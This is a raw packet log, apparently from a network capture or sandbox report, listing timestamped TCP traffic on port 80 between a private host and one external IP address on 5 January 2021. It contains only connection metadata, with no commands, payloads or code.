Jan 5, 2021 19:05:22.982362986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982392073 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982403040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982414007 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982429028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982465029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982469082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982490063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982505083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982525110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982538939 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982549906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982553005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982587099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982589006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982623100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982625961 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982650995 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982664108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982688904 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982692003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982723951 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982724905 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982749939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982763052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982784986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982791901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982810020 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982831955 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982846022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982867002 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982880116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982882977 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982920885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982923031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982945919 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982953072 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982983112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982985020 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983007908 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983023882 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983042955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983062029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983067989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983088017 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983103991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983129025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983138084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983144045 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983174086 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983177900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983202934 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983215094 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983239889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983243942 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983266115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983278036 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983299971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983316898 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983325005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983350039 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983360052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983361006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983395100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983397961 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983433008 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983434916 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983459949 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983473063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983495951 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983505964 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983521938 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983536005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983556986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983577967 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983589888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983599901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983627081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983643055 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983656883 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983661890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983680964 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983701944 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983724117 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983726978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.983745098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.983773947 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.034899950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.034950018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.034989119 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035015106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035051107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035089970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035100937 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035131931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035137892 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035146952 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035155058 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035156965 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035161972 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035167933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035195112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035202026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035222054 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035229921 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035258055 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035271883 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035283089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035286903 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035315990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035320044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035355091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035362959 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035382986 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035396099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035403967 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035422087 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035456896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035459042 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035481930 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035484076 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035520077 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035521030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035543919 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035547018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035583019 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035614014 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035619974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035624981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035645962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035661936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035686970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035723925 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035728931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035748959 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035770893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035783052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035784006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035794973 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035809994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035823107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035845995 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035847902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035881996 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035891056 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035911083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035922050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035933018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035948038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035970926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.035984993 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.035995007 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036010027 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036046028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036047935 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036067009 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036072016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036094904 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036108971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036132097 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036143064 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036159992 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036185026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036189079 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036211014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036247969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036273003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036276102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036289930 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036298990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036309004 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036334038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036339045 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036366940 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036370039 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036391020 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036406040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036433935 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036447048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.036449909 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.036519051 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038263083 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038306952 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038331985 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038369894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038391113 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038393021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038424015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038430929 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038433075 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038439989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038456917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038463116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038489103 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038502932 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038520098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038532019 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038546085 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038568020 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038574934 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038594961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038630962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038664103 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038665056 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038677931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038681984 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038686037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038700104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038721085 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038737059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038760900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038769960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038783073 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038790941 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038790941 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038808107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038830996 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038852930 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038861036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038889885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038925886 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038930893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038950920 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038950920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038959980 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.038988113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.038992882 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039001942 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039011955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039047956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039067984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039073944 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039088011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039105892 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039120913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039136887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039150000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039181948 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039186001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039200068 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039211988 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039248943 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039271116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039273024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039283991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039309025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039309025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039334059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039355993 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039380074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039387941 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039410114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039422035 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039432049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039444923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039470911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039475918 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039495945 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039508104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039531946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039551973 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039568901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039571047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039597034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039613962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039618969 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039647102 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039668083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039678097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039715052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039740086 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039752007 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039762974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039777040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039779902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039800882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039813042 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039829016 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039838076 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039861917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039863110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039890051 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039907932 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039915085 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.039937019 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039973021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.039998055 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040000916 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040008068 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040023088 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040034056 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040050983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040059090 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040086031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040096045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040108919 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040121078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040143013 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040167093 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040169954 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040195942 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040225983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040232897 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040255070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040258884 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040278912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040296078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040303946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040318966 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040358067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040359974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040374041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040385008 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040415049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040431976 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040433884 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040461063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040497065 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040519953 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040522099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040530920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040553093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040560007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040585995 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040586948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040625095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040643930 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040649891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040656090 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040688038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040694952 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040714979 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040724993 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040762901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040788889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040790081 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040803909 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040824890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040826082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040848970 CET	80	49167	83.172.144.37	192.168.2.22
